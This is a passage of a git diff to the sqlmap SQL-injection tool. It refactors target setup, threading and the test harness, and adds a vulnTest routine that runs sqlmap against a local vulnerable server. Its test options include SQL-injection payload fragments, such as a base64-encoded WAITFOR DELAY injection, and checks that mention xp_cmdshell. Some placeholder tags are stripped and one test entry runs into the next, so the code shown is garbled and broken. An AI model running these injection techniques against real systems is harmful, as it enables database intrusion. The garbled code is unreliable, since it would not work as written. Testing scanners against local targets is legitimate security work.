check: + message = "you provided '%s' as a back-end DBMS, " % conf.dbms message += "but from a past scan information on the target URL " - message += "sqlmap assumes the back-end DBMS is %s. " % dbms + message += "sqlmap assumes the back-end DBMS is '%s'. " % dbms message += "Do you really want to force the back-end " message += "DBMS value? [y/N] " - test = readInput(message, default="N") - if not test or test[0] in ("n", "N"): + if not readInput(message, default='N', boolean=True): conf.dbms = None Backend.setDbms(dbms) Backend.setVersionList(dbmsVersion) @@ -284,7 +537,7 @@ def __resumeDBMS(): Backend.setDbms(dbms) Backend.setVersionList(dbmsVersion) -def __resumeOS(): +def _resumeOS(): """ Resume stored OS information from HashDB """ @@ -307,16 +560,15 @@ def __resumeOS(): message += "operating system is %s. " % os message += "Do you really want to force the back-end DBMS " message += "OS value? [y/N] " - test = readInput(message, default="N") - if not test or test[0] in ("n", "N"): + if not readInput(message, default='N', boolean=True): conf.os = os else: conf.os = os Backend.setOs(conf.os) -def __setResultsFile(): +def _setResultsFile(): """ Create results file for storing results of running in a multiple target mode. @@ -326,34 +578,54 @@ def __setResultsFile(): return if not conf.resultsFP: - conf.resultsFilename = "%s%s%s" % (paths.SQLMAP_OUTPUT_PATH, os.sep, time.strftime(RESULTS_FILE_FORMAT).lower()) - conf.resultsFP = codecs.open(conf.resultsFilename, "w+", UNICODE_ENCODING) - conf.resultsFP.writelines("Target url,Place,Parameter,Techniques%s" % os.linesep) - - logger.info("using '%s' as results file" % conf.resultsFilename) + conf.resultsFile = conf.resultsFile or os.path.join(paths.SQLMAP_OUTPUT_PATH, time.strftime(RESULTS_FILE_FORMAT).lower()) + found = os.path.exists(conf.resultsFile) -def __setAuthCred(): - """ - Adds authentication credentials (if any) for current target to the password manager (used by connection handler). - """ - - if kb.passwordMgr: - kb.passwordMgr.add_password(None, "%s://%s" % (conf.scheme, conf.hostname), conf.authUsername, conf.authPassword) - -def __createFilesDir(): + try: + conf.resultsFP = openFile(conf.resultsFile, "a", UNICODE_ENCODING, buffering=0) + except (OSError, IOError) as ex: + try: + warnMsg = "unable to create results file '%s' ('%s'). " % (conf.resultsFile, getUnicode(ex)) + handle, conf.resultsFile = tempfile.mkstemp(prefix=MKSTEMP_PREFIX.RESULTS, suffix=".csv") + os.close(handle) + conf.resultsFP = openFile(conf.resultsFile, "w+", UNICODE_ENCODING, buffering=0) + warnMsg += "Using temporary file '%s' instead" % conf.resultsFile + logger.warning(warnMsg) + except IOError as _: + errMsg = "unable to write to the temporary directory ('%s'). " % _ + errMsg += "Please make sure that your disk is not full and " + errMsg += "that you have sufficient write permissions to " + errMsg += "create temporary files and/or directories" + raise SqlmapSystemException(errMsg) + + if not found: + conf.resultsFP.writelines("Target URL,Place,Parameter,Technique(s),Note(s)%s" % os.linesep) + + logger.info("using '%s' as the CSV results file in multiple targets mode" % conf.resultsFile) + +def _createFilesDir(): """ Create the file directory. """ - if not conf.rFile: + if not any((conf.fileRead, conf.commonFiles)): return conf.filePath = paths.SQLMAP_FILES_PATH % conf.hostname if not os.path.isdir(conf.filePath): - os.makedirs(conf.filePath, 0755) + try: + os.makedirs(conf.filePath) + except OSError as ex: + tempDir = tempfile.mkdtemp(prefix="sqlmapfiles") + warnMsg = "unable to create files directory " + warnMsg += "'%s' (%s). " % (conf.filePath, getUnicode(ex)) + warnMsg += "Using temporary directory '%s' instead" % getUnicode(tempDir) + logger.warning(warnMsg) + + conf.filePath = tempDir -def __createDumpDir(): +def _createDumpDir(): """ Create the dump directory. """ @@ -361,62 +633,83 @@ def __createDumpDir(): if not conf.dumpTable and not conf.dumpAll and not conf.search: return - conf.dumpPath = paths.SQLMAP_DUMP_PATH % conf.hostname + conf.dumpPath = safeStringFormat(paths.SQLMAP_DUMP_PATH, conf.hostname) if not os.path.isdir(conf.dumpPath): - os.makedirs(conf.dumpPath, 0755) - -def __configureDumper(): - if hasattr(conf, 'xmlFile') and conf.xmlFile: - conf.dumper = xmldumper - else: - conf.dumper = dumper - + try: + os.makedirs(conf.dumpPath) + except Exception as ex: + tempDir = tempfile.mkdtemp(prefix="sqlmapdump") + warnMsg = "unable to create dump directory " + warnMsg += "'%s' (%s). " % (conf.dumpPath, getUnicode(ex)) + warnMsg += "Using temporary directory '%s' instead" % getUnicode(tempDir) + logger.warning(warnMsg) + + conf.dumpPath = tempDir + +def _configureDumper(): + conf.dumper = dumper conf.dumper.setOutputFile() -def __createTargetDirs(): +def _createTargetDirs(): """ Create the output directory. """ - if not os.path.isdir(paths.SQLMAP_OUTPUT_PATH): - try: - os.makedirs(paths.SQLMAP_OUTPUT_PATH, 0755) - except OSError, msg: - tempDir = tempfile.mkdtemp(prefix='output') - warnMsg = "unable to create default root output directory " - warnMsg += "'%s' (%s). " % (paths.SQLMAP_OUTPUT_PATH, msg) - warnMsg += "using temporary directory '%s' instead" % tempDir - logger.warn(warnMsg) - - paths.SQLMAP_OUTPUT_PATH = tempDir + conf.outputPath = os.path.join(getUnicode(paths.SQLMAP_OUTPUT_PATH), normalizeUnicode(getUnicode(conf.hostname))) + + try: + if not os.path.isdir(conf.outputPath): + os.makedirs(conf.outputPath) + except (OSError, IOError, TypeError) as ex: + tempDir = tempfile.mkdtemp(prefix="sqlmapoutput") + warnMsg = "unable to create output directory " + warnMsg += "'%s' (%s). " % (conf.outputPath, getUnicode(ex)) + warnMsg += "Using temporary directory '%s' instead" % getUnicode(tempDir) + logger.warning(warnMsg) + + conf.outputPath = tempDir + + conf.outputPath = getUnicode(conf.outputPath) + + try: + with openFile(os.path.join(conf.outputPath, "target.txt"), "w+") as f: + f.write(getUnicode(kb.originalUrls.get(conf.url) or conf.url or conf.hostname)) + f.write(" (%s)" % (HTTPMETHOD.POST if conf.data else HTTPMETHOD.GET)) + f.write(" # %s" % getUnicode(subprocess.list2cmdline(sys.argv), encoding=sys.stdin.encoding)) + if conf.data: + f.write("\n\n%s" % getUnicode(conf.data)) + except IOError as ex: + if "denied" in getUnicode(ex): + errMsg = "you don't have enough permissions " + else: + errMsg = "something went wrong while trying " + errMsg += "to write to the output directory '%s' (%s)" % (paths.SQLMAP_OUTPUT_PATH, getSafeExString(ex)) - conf.outputPath = "%s%s%s" % (paths.SQLMAP_OUTPUT_PATH, os.sep, conf.hostname) + raise SqlmapMissingPrivileges(errMsg) + except UnicodeError as ex: + warnMsg = "something went wrong while saving target data ('%s')" % getSafeExString(ex) + logger.warning(warnMsg) - if not os.path.isdir(conf.outputPath): - try: - os.makedirs(conf.outputPath, 0755) - except OSError, msg: - tempDir = tempfile.mkdtemp(prefix='output') - warnMsg = "unable to create output directory " - warnMsg += "'%s' (%s). " % (conf.outputPath, msg) - warnMsg += "using temporary directory '%s' instead" % tempDir - logger.warn(warnMsg) + _createDumpDir() + _createFilesDir() + _configureDumper() - conf.outputPath = tempDir +def _setAuxOptions(): + """ + Setup auxiliary (host-dependent) options + """ - __createDumpDir() - __createFilesDir() - __configureDumper() + kb.aliasName = randomStr(seed=hash(conf.hostname or "")) -def __restoreCmdLineOptions(): +def _restoreMergedOptions(): """ - Restore command line options that could be possibly - changed during the testing of previous target. + Restore merged options (command line, configuration file and default values) + that could be possibly changed during the testing of previous target. """ - conf.regexp = cmdLineOptions.regexp - conf.string = cmdLineOptions.string - conf.textOnly = cmdLineOptions.textOnly + + for option in RESTORE_MERGED_OPTIONS: + conf[option] = mergedOptions[option] def initTargetEnv(): """ @@ -424,27 +717,57 @@ def initTargetEnv(): """ if conf.multipleTargets: - if conf.sessionFP: - conf.sessionFP.close() - if conf.hashDB: conf.hashDB.close() if conf.cj: resetCookieJar(conf.cj) + threadData = getCurrentThreadData() + threadData.reset() + conf.paramDict = {} conf.parameters = {} conf.hashDBFile = None - __setKnowledgeBaseAttributes(False) - __restoreCmdLineOptions() - __setDBMS() + _setKnowledgeBaseAttributes(False) + _restoreMergedOptions() + _setDBMS() + + if conf.data: + class _(six.text_type): + pass + + kb.postUrlEncode = True + + for key, value in conf.httpHeaders: + if key.upper() == HTTP_HEADER.CONTENT_TYPE.upper(): + kb.postUrlEncode = "urlencoded" in value + break + + if kb.postUrlEncode: + original = conf.data + conf.data = _(urldecode(conf.data)) + setattr(conf.data, UNENCODED_ORIGINAL_VALUE, original) + kb.postSpaceToPlus = '+' in original + + if conf.data and unArrayizeValue(conf.base64Parameter) == HTTPMETHOD.POST: + if '=' not in conf.data.strip('='): + try: + original = conf.data + conf.data = _(decodeBase64(conf.data, binary=False)) + setattr(conf.data, UNENCODED_ORIGINAL_VALUE, original) + except: + pass + + match = re.search(INJECT_HERE_REGEX, "%s %s %s" % (conf.url, conf.data, conf.httpHeaders)) + kb.customInjectionMark = match.group(0) if match else CUSTOM_INJECTION_MARK_CHAR def setupTargetEnv(): - __createTargetDirs() - __setRequestParams() - __setHashDB() - __resumeHashDBValues() - __setResultsFile() - __setAuthCred() + _createTargetDirs() + _setRequestParams() + _setHashDB() + _resumeHashDBValues() + _setResultsFile() + _setAuthCred() + _setAuxOptions() diff --git a/lib/core/testing.py b/lib/core/testing.py index 65db695d3ed..a8d3182680b 100644 --- a/lib/core/testing.py +++ b/lib/core/testing.py @@ -1,72 +1,309 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2012 sqlmap developers (http://www.sqlmap.org/) -See the file 'doc/COPYING' for copying permission +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission """ import doctest +import logging import os +import random import re -import shutil +import socket +import sqlite3 import sys import tempfile +import threading import time -from lib.controller.controller import start -from lib.core.common import beep +from extra.vulnserver import vulnserver from lib.core.common import clearConsoleLine from lib.core.common import dataToStdout -from lib.core.common import readXmlFile -from lib.core.data import conf +from lib.core.common import randomInt +from lib.core.common import randomStr +from lib.core.common import shellExec +from lib.core.compat import round +from lib.core.convert import encodeBase64 +from lib.core.data import kb from lib.core.data import logger from lib.core.data import paths -from lib.core.option import init -from lib.core.option import __setVerbosity -from lib.core.optiondict import optDict -from lib.parse.cmdline import cmdLineParser +from lib.core.data import queries +from lib.core.patch import unisonRandom +from lib.core.settings import IS_WIN + +def vulnTest(): + """ + Runs the testing against 'vulnserver' + """ + + TESTS = ( + ("-h", ("to see full list of options run with '-hh'",)), + ("--dependencies", ("sqlmap requires", "third-party library")), + ("-u --data=\"reflect=1\" --flush-session --wizard --disable-coloring", ("Please choose:", "back-end DBMS: SQLite", "current user is DBA: True", "banner: '3.")), + ("-u --data=\"code=1\" --code=200 --technique=B --banner --no-cast --flush-session", ("back-end DBMS: SQLite", "banner: '3.", "~COALESCE(CAST(")), + (u"-c --flush-session --output-dir=\"\" --smart --roles --statements --hostname --privileges --sql-query=\"SELECT '\u0161u\u0107uraj'\" --technique=U", (u": '\u0161u\u0107uraj'", "on SQLite it is not possible", "as the output directory")), + (u"-u --flush-session --sql-query=\"SELECT '\u0161u\u0107uraj'\" --titles --technique=B --no-escape --string=luther --unstable", (u": '\u0161u\u0107uraj'", "~with --string",)), + ("-m --flush-session --technique=B --banner", ("/3] URL:", "back-end DBMS: SQLite", "banner: '3.")), + ("--dummy", ("all tested parameters do not appear to be injectable", "does not seem to be injectable", "there is not at least one", "~might be injectable")), + ("-u \"&id2=1\" -p id2 -v 5 --flush-session --level=5 --text-only --test-filter=\"AND boolean-based blind - WHERE or HAVING clause (MySQL comment)\"", ("~1AND",)), + ("--list-tampers", ("between", "MySQL", "xforwardedfor")), + ("-r --flush-session -v 5 --test-skip=\"heavy\" --save=", ("CloudFlare", "web application technology: Express", "possible DBMS: 'SQLite'", "User-Agent: foobar", "~Type: time-based blind", "saved command line options to the configuration file")), + ("-c ", ("CloudFlare", "possible DBMS: 'SQLite'", "User-Agent: foobar", "~Type: time-based blind")), + ("-l --flush-session --keep-alive --skip-waf -vvvvv --technique=U --union-from=users --banner --parse-errors", ("banner: '3.", "ORDER BY term out of range", "~xp_cmdshell", "Connection: keep-alive")), + ("-l --offline --banner -v 5", ("banner: '3.", "~[TRAFFIC OUT]")), + ("-u --flush-session --data=\"id=1&_=Eewef6oh\" --chunked --randomize=_ --random-agent --banner", ("fetched random HTTP User-Agent header value", "Parameter: id (POST)", "Type: boolean-based blind", "Type: time-based blind", "Type: UNION query", "banner: '3.")), + ("-u -p id --base64=id --data=\"base64=true\" --flush-session --banner --technique=B", ("banner: '3.",)), + ("-u -p id --base64=id --data=\"base64=true\" --flush-session --tables --technique=U", (" users ",)), + ("-u --flush-session --banner --technique=B --disable-precon --not-string \"no results\"", ("banner: '3.",)), + ("-u --flush-session --encoding=gbk --banner --technique=B --first=1 --last=2", ("banner: '3.'",)), + ("-u --flush-session --encoding=ascii --forms --crawl=2 --threads=2 --banner", ("total of 2 targets", "might be injectable", "Type: UNION query", "banner: '3.")), + ("-u --flush-session --technique=BU --data=\"{\\\"id\\\": 1}\" --banner", ("might be injectable", "3 columns", "Payload: {\"id\"", "Type: boolean-based blind", "Type: UNION query", "banner: '3.")), + ("-u --flush-session -H \"Foo: Bar\" -H \"Sna: Fu\" --data=\"\" --union-char=1 --mobile --answers=\"smartphone=3\" --banner --smart -v 5", ("might be injectable", "Payload: --flush-session --technique=BU --method=PUT --data=\"a=1;id=1;b=2\" --param-del=\";\" --skip-static --har= --dump -T users --start=1 --stop=2", ("might be injectable", "Parameter: id (PUT)", "Type: boolean-based blind", "Type: UNION query", "2 entries")), + ("-u --flush-session -H \"id: 1*\" --tables -t ", ("might be injectable", "Parameter: id #1* ((custom) HEADER)", "Type: boolean-based blind", "Type: time-based blind", "Type: UNION query", " users ")), + ("-u --flush-session --banner --invalid-logical --technique=B --predict-output --titles --test-filter=\"OR boolean\" --tamper=space2dash", ("banner: '3.", " LIKE ")), + ("-u --flush-session --cookie=\"PHPSESSID=d41d8cd98f00b204e9800998ecf8427e; id=1*; id2=2\" --tables --union-cols=3", ("might be injectable", "Cookie #1* ((custom) HEADER)", "Type: boolean-based blind", "Type: time-based blind", "Type: UNION query", " users ")), + ("-u --flush-session --null-connection --technique=B --tamper=between,randomcase --banner --count -T users", ("NULL connection is supported with HEAD method", "banner: '3.", "users | 30")), + ("-u --data=\"aWQ9MQ==\" --flush-session --base64=POST -v 6", ("aWQ9MTtXQUlURk9SIERFTEFZICcwOjA",)), + ("-u --flush-session --parse-errors --test-filter=\"subquery\" --eval=\"import hashlib; id2=2; id3=hashlib.md5(id.encode()).hexdigest()\" --referer=\"localhost\"", ("might be injectable", ": syntax error", "back-end DBMS: SQLite", "WHERE or HAVING clause (subquery")), + ("-u --banner --schema --dump -T users --binary-fields=surname --where \"id>3\"", ("banner: '3.", "INTEGER", "TEXT", "id", "name", "surname", "27 entries", "6E616D6569736E756C6C")), + ("-u --technique=U --fresh-queries --force-partial --dump -T users --dump-format=HTML --answers=\"crack=n\" -v 3", ("performed 31 queries", "nameisnull", "~using default dictionary", "dumped to HTML file")), + ("-u --flush-session --technique=BU --all", ("30 entries", "Type: boolean-based blind", "Type: UNION query", "luther", "blisset", "fluffy", "179ad45c6ce2cb97cf1029e212046e81", "NULL", "nameisnull", "testpass")), + ("-u -z \"tec=B\" --hex --fresh-queries --threads=4 --sql-query=\"SELECT * FROM users\"", ("SELECT * FROM users [30]", "nameisnull")), + ("-u \"&echo=foobar*\" --flush-session", ("might be vulnerable to cross-site scripting",)), + ("-u \"&query=*\" --flush-session --technique=Q --banner", ("Title: SQLite inline queries", "banner: '3.")), + ("-d \"\" --flush-session --dump -T creds --dump-format=SQLITE --binary-fields=password_hash --where \"user_id=5\"", ("3137396164343563366365326362393763663130323965323132303436653831", "dumped to SQLITE database")), + ("-d \"\" --flush-session --banner --schema --sql-query=\"UPDATE users SET name='foobar' WHERE id=4; SELECT * FROM users; SELECT 987654321\"", ("banner: '3.", "INTEGER", "TEXT", "id", "name", "surname", "4,foobar,nameisnull", "'987654321'",)), + ("-u csrf --data=\"id=1&csrf_token=1\" --banner --answers=\"update=y\" --flush-session", ("back-end DBMS: SQLite", "banner: '3.")), + ("--purge -v 3", ("~ERROR", "~CRITICAL", "deleting the whole directory tree")), + ) + + retVal = True + count = 0 + cleanups = [] + + while True: + address, port = "127.0.0.1", random.randint(10000, 65535) + try: + s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) + if s.connect_ex((address, port)): + break + else: + time.sleep(1) + finally: + s.close() + + def _thread(): + vulnserver.init(quiet=True) + vulnserver.run(address=address, port=port) + + vulnserver._alive = True + + thread = threading.Thread(target=_thread) + thread.daemon = True + thread.start() + + while vulnserver._alive: + s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) + try: + s.connect((address, port)) + s.sendall(b"GET / HTTP/1.1\r\n\r\n") + result = b"" + while True: + current = s.recv(1024) + if not current: + break + else: + result += current + if b"vulnserver" in result: + break + except: + pass + finally: + s.close() + time.sleep(1) + + if not vulnserver._alive: + logger.error("problem occurred in vulnserver instantiation (address: 'http://%s:%s')" % (address, port)) + return False + else: + logger.info("vulnserver running at 'http://%s:%s'..." % (address, port)) + + handle, config = tempfile.mkstemp(suffix=".conf") + os.close(handle) + cleanups.append(config) + + handle, database = tempfile.mkstemp(suffix=".sqlite") + os.close(handle) + cleanups.append(database) + + with sqlite3.connect(database) as conn: + c = conn.cursor() + c.executescript(vulnserver.SCHEMA) + + handle, request = tempfile.mkstemp(suffix=".req") + os.close(handle) + cleanups.append(request) + + handle, log = tempfile.mkstemp(suffix=".log") + os.close(handle) + cleanups.append(log) + + handle, multiple = tempfile.mkstemp(suffix=".lst") + os.close(handle) + cleanups.append(multiple) + + content = "POST / HTTP/1.0\nUser-Agent: foobar\nHost: %s:%s\n\nid=1\n" % (address, port) + with open(request, "w+") as f: + f.write(content) + f.flush() + + content = '%d' % (port, encodeBase64(content, binary=False)) + with open(log, "w+") as f: + f.write(content) + f.flush() + + base = "http://%s:%d/" % (address, port) + url = "%s?id=1" % base + direct = "sqlite3://%s" % database + tmpdir = tempfile.mkdtemp() + + with open(os.path.abspath(os.path.join(os.path.dirname(__file__), "..", "..", "sqlmap.conf"))) as f: + content = f.read().replace("url =", "url = %s" % url) + + with open(config, "w+") as f: + f.write(content) + f.flush() + + content = "%s?%s=%d\n%s?%s=%d\n%s&%s=1" % (base, randomStr(), randomInt(), base, randomStr(), randomInt(), url, randomStr()) + with open(multiple, "w+") as f: + f.write(content) + f.flush() + + for options, checks in TESTS: + status = '%d/%d (%d%%) ' % (count, len(TESTS), round(100.0 * count / len(TESTS))) + dataToStdout("\r[%s] [INFO] completed: %s" % (time.strftime("%X"), status)) + + if IS_WIN and "uraj" in options: + options = options.replace(u"\u0161u\u0107uraj", "sucuraj") + checks = [check.replace(u"\u0161u\u0107uraj", "sucuraj") for check in checks] + + for tag, value in (("", url), ("", base), ("", direct), ("", tmpdir), ("", request), ("", log), ("", multiple), ("", config), ("", url.replace("id=1", "id=MZ=%3d"))): + options = options.replace(tag, value) + + cmd = "%s \"%s\" %s --batch --non-interactive --debug --time-sec=1" % (sys.executable if ' ' not in sys.executable else '"%s"' % sys.executable, os.path.abspath(os.path.join(os.path.dirname(__file__), "..", "..", "sqlmap.py")), options) + + if "" in cmd: + handle, tmp = tempfile.mkstemp() + os.close(handle) + cmd = cmd.replace("", tmp) + + output = shellExec(cmd) + + if not all((check in output if not check.startswith('~') else check[1:] not in output) for check in checks) or "unhandled exception" in output: + dataToStdout("---\n\n$ %s\n" % cmd) + dataToStdout("%s---\n" % output, coloring=False) + retVal = False + + count += 1 + + clearConsoleLine() + if retVal: + logger.info("vuln test final result: PASSED") + else: + logger.error("vuln test final result: FAILED") + + for filename in cleanups: + try: + os.remove(filename) + except: + pass + + return retVal def smokeTest(): """ - This will run the basic smoke testing of a program + Runs the basic smoke testing of a program """ + + unisonRandom() + + with open(paths.ERRORS_XML, "r") as f: + content = f.read() + + for regex in re.findall(r'', content): + try: + re.compile(regex) + except re.error: + errMsg = "smoke test failed at compiling '%s'" % regex + logger.error(errMsg) + return False + retVal = True count, length = 0, 0 for root, _, files in os.walk(paths.SQLMAP_ROOT_PATH): - if 'extra' in root: + if any(_ in root for _ in ("thirdparty", "extra", "interbase")): continue - for ifile in files: - length += 1 + for filename in files: + if os.path.splitext(filename)[1].lower() == ".py" and filename != "__init__.py": + length += 1 for root, _, files in os.walk(paths.SQLMAP_ROOT_PATH): - if 'extra' in root: + if any(_ in root for _ in ("thirdparty", "extra", "interbase")): continue - for ifile in files: - if os.path.splitext(ifile)[1].lower() == '.py' and ifile != '__init__.py': - path = os.path.join(root, os.path.splitext(ifile)[0]) + for filename in files: + if os.path.splitext(filename)[1].lower() == ".py" and filename not in ("__init__.py", "gui.py"): + path = os.path.join(root, os.path.splitext(filename)[0]) path = path.replace(paths.SQLMAP_ROOT_PATH, '.') path = path.replace(os.sep, '.').lstrip('.') try: __import__(path) module = sys.modules[path] - except Exception, msg: + except Exception as ex: retVal = False dataToStdout("\r") - errMsg = "smoke test failed at importing module '%s' (%s):\n%s" % (path, os.path.join(root, ifile), msg) + errMsg = "smoke test failed at importing module '%s' (%s):\n%s" % (path, os.path.join(root, filename), ex) logger.error(errMsg) else: - # Run doc tests - # Reference: http://docs.python.org/library/doctest.html - (failure_count, test_count) = doctest.testmod(module) + logger.setLevel(logging.CRITICAL) + kb.smokeMode = True + + (failure_count, _) = doctest.testmod(module) + + kb.smokeMode = False + logger.setLevel(logging.INFO) + if failure_count > 0: retVal = False - count += 1 - status = '%d/%d (%d%s) ' % (count, length, round(100.0*count/length), '%') - dataToStdout("\r[%s] [INFO] complete: %s" % (time.strftime("%X"), status)) + count += 1 + status = '%d/%d (%d%%) ' % (count, length, round(100.0 * count / length)) + dataToStdout("\r[%s] [INFO] completed: %s" % (time.strftime("%X"), status)) + + def _(node): + for __ in dir(node): + if not __.startswith('_'): + candidate = getattr(node, __) + if isinstance(candidate, str): + if '\\' in candidate: + try: + re.compile(candidate) + except: + errMsg = "smoke test failed at compiling '%s'" % candidate + logger.error(errMsg) + raise + else: + _(candidate) + + for dbms in queries: + try: + _(queries[dbms]) + except: + retVal = False clearConsoleLine() if retVal: @@ -75,140 +312,3 @@ def smokeTest(): logger.error("smoke test final result: FAILED") return retVal - -def adjustValueType(tagName, value): - for family in optDict.keys(): - for name, type_ in optDict[family].items(): - if type(type_) == tuple: - type_ = type_[0] - if tagName == name: - if type_ == "boolean": - value = (value == "True") - elif type_ == "integer": - value = int(value) - elif type_ == "float": - value = float(value) - break - return value - -def liveTest(): - """ - This will run the test of a program against the live testing environment - """ - retVal = True - count = 0 - global_ = {} - vars_ = {} - livetests = readXmlFile(paths.LIVE_TESTS_XML) - length = len(livetests.getElementsByTagName("case")) - - element = livetests.getElementsByTagName("global") - if element: - for item in element: - for child in item.childNodes: - if child.nodeType == child.ELEMENT_NODE and child.hasAttribute("value"): - global_[child.tagName] = adjustValueType(child.tagName, child.getAttribute("value")) - - element = livetests.getElementsByTagName("vars") - if element: - for item in element: - for child in item.childNodes: - if child.nodeType == child.ELEMENT_NODE and child.hasAttribute("value"): - vars_[child.tagName] = child.getAttribute("value") - - for case in livetests.getElementsByTagName("case"): - count += 1 - - if conf.runCase and conf.runCase != count: - continue - - name = None - log = [] - switches = dict(global_) - - if case.hasAttribute("name"): - name = case.getAttribute("name") - - if case.getElementsByTagName("switches"): - for child in case.getElementsByTagName("switches")[0].childNodes: - if child.nodeType == child.ELEMENT_NODE and child.hasAttribute("value"): - value = replaceVars(child.getAttribute("value"), vars_) - switches[child.tagName] = adjustValueType(child.tagName, value) - - if case.getElementsByTagName("log"): - for item in case.getElementsByTagName("log")[0].getElementsByTagName("item"): - if item.hasAttribute("value"): - log.append(replaceVars(item.getAttribute("value"), vars_)) - - msg = "running live test case '%s' (%d/%d)" % (name, count, length) - logger.info(msg) - result = runCase(switches, log) - if result: - logger.info("test passed") - else: - logger.error("test failed") - beep() - retVal &= result - - dataToStdout("\n") - if retVal: - logger.info("live test final result: PASSED") - else: - logger.error("live test final result: FAILED") - - return retVal - -def initCase(switches=None): - paths.SQLMAP_OUTPUT_PATH = tempfile.mkdtemp() - paths.SQLMAP_DUMP_PATH = os.path.join(paths.SQLMAP_OUTPUT_PATH, "%s", "dump") - paths.SQLMAP_FILES_PATH = os.path.join(paths.SQLMAP_OUTPUT_PATH, "%s", "files") - cmdLineOptions = cmdLineParser() - cmdLineOptions.liveTest = cmdLineOptions.smokeTest = False - - if switches: - for key, value in switches.items(): - if key in cmdLineOptions.__dict__: - cmdLineOptions.__dict__[key] = value - - init(cmdLineOptions, True) - __setVerbosity() - -def cleanCase(): - shutil.rmtree(paths.SQLMAP_OUTPUT_PATH, True) - paths.SQLMAP_OUTPUT_PATH = os.path.join(paths.SQLMAP_ROOT_PATH, "output") - paths.SQLMAP_DUMP_PATH = os.path.join(paths.SQLMAP_OUTPUT_PATH, "%s", "dump") - paths.SQLMAP_FILES_PATH = os.path.join(paths.SQLMAP_OUTPUT_PATH, "%s", "files") - conf.verbose = 1 - __setVerbosity() - -def runCase(switches=None, log=None): - retVal = True - initCase(switches) - - result = start() - if result == False: #if None ignore - retVal = False - - if log and retVal: - ifile = open(conf.dumper.getOutputFile(), 'r') - content = ifile.read() - ifile.close() - for item in log: - if item.startswith("r'") and item.endswith("'"): - if not re.search(item[2:-1], content, re.DOTALL): - retVal = False - break - elif content.find(item) < 0: - retVal = False - break - - cleanCase() - return retVal - -def replaceVars(item, vars_): - retVal = item - if item and vars_: - for var in re.findall("\$\{([^}]+)\}", item): - if var in vars_: - retVal = retVal.replace("${%s}" % var, vars_[var]) - return retVal diff --git a/lib/core/threads.py b/lib/core/threads.py index 1ed6853f161..7334560036a 100644 --- a/lib/core/threads.py +++ b/lib/core/threads.py @@ -1,25 +1,31 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2012 sqlmap developers (http://www.sqlmap.org/) -See the file 'doc/COPYING' for copying permission +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission """ +from __future__ import print_function + import difflib +import sqlite3 import threading import time import traceback -from thread import error as threadError - +from lib.core.compat import WichmannHill +from lib.core.compat import xrange from lib.core.data import conf from lib.core.data import kb from lib.core.data import logger from lib.core.datatype import AttribDict from lib.core.enums import PAYLOAD -from lib.core.exception import sqlmapConnectionException -from lib.core.exception import sqlmapThreadException -from lib.core.exception import sqlmapValueException +from lib.core.exception import SqlmapBaseException +from lib.core.exception import SqlmapConnectionException +from lib.core.exception import SqlmapSkipTargetException +from lib.core.exception import SqlmapThreadException +from lib.core.exception import SqlmapUserQuitException +from lib.core.exception import SqlmapValueException from lib.core.settings import MAX_NUMBER_OF_THREADS from lib.core.settings import PYVERSION @@ -41,25 +47,37 @@ def reset(self): self.disableStdOut = False self.hashDBCursor = None self.inTransaction = False + self.lastCode = None self.lastComparisonPage = None - self.lastErrorPage = None + self.lastComparisonHeaders = None + self.lastComparisonCode = None + self.lastComparisonRatio = None + self.lastPageTemplateCleaned = None + self.lastPageTemplate = None + self.lastErrorPage = tuple() self.lastHTTPError = None self.lastRedirectMsg = None self.lastQueryDuration = 0 + self.lastPage = None self.lastRequestMsg = None self.lastRequestUID = 0 + self.lastRedirectURL = tuple() + self.random = WichmannHill() self.resumed = False self.retriesCount = 0 self.seqMatcher = difflib.SequenceMatcher(None) self.shared = shared + self.technique = None + self.validationRun = 0 self.valueStack = [] ThreadData = _ThreadData() -def getCurrentThreadUID(): - return hash(threading.currentThread()) +def readInput(message, default=None, checkBatch=True, boolean=False): + # It will be overwritten by original from lib.core.common + pass -def readInput(message, default=None): +def isDigit(value): # It will be overwritten by original from lib.core.common pass @@ -68,8 +86,6 @@ def getCurrentThreadData(): Returns current thread's local data """ - global ThreadData - return ThreadData def getCurrentThreadName(): @@ -79,17 +95,22 @@ def getCurrentThreadName(): return threading.current_thread().getName() -def exceptionHandledFunction(threadFunction): +def exceptionHandledFunction(threadFunction, silent=False): try: threadFunction() except KeyboardInterrupt: kb.threadContinue = False kb.threadException = True raise - except Exception, errMsg: - # thread is just going to be silently killed - print - logger.error("thread %s: %s" % (threading.currentThread().getName(), errMsg)) + except Exception as ex: + from lib.core.common import getSafeExString + + if not silent and kb.get("threadContinue") and not kb.get("multipleCtrlC") and not isinstance(ex, (SqlmapUserQuitException, SqlmapSkipTargetException)): + errMsg = getSafeExString(ex) if isinstance(ex, SqlmapBaseException) else "%s: %s" % (type(ex).__name__, getSafeExString(ex)) + logger.error("thread %s: '%s'" % (threading.currentThread().getName(), errMsg)) + + if conf.get("verbose") > 1 and not isinstance(ex, SqlmapConnectionException): + traceback.print_exc() def setDaemon(thread): # Reference: http://stackoverflow.com/questions/190010/daemon-threads-explanation @@ -101,102 +122,144 @@ def setDaemon(thread): def runThreads(numThreads, threadFunction, cleanupFunction=None, forwardException=True, threadChoice=False, startThreadMsg=True): threads = [] - kb.multiThreadMode = True + def _threadFunction(): + try: + threadFunction() + finally: + if conf.hashDB: + conf.hashDB.close() + + kb.multipleCtrlC = False kb.threadContinue = True kb.threadException = False - - if threadChoice and numThreads == 1 and any(map(lambda x: x in kb.injection.data, [PAYLOAD.TECHNIQUE.BOOLEAN, PAYLOAD.TECHNIQUE.ERROR, PAYLOAD.TECHNIQUE.UNION])): - while True: - message = "please enter number of threads? [Enter for %d (current)] " % numThreads - choice = readInput(message, default=str(numThreads)) - if choice and choice.isdigit(): - if int(choice) > MAX_NUMBER_OF_THREADS: - errMsg = "maximum number of used threads is %d avoiding possible connection issues" % MAX_NUMBER_OF_THREADS - logger.critical(errMsg) - else: - numThreads = int(choice) - break - - if numThreads == 1: - warnMsg = "running in a single-thread mode. This could take a while." - logger.warn(warnMsg) + kb.technique = ThreadData.technique + kb.multiThreadMode = False try: + if threadChoice and conf.threads == numThreads == 1 and not (kb.injection.data and not any(_ not in (PAYLOAD.TECHNIQUE.TIME, 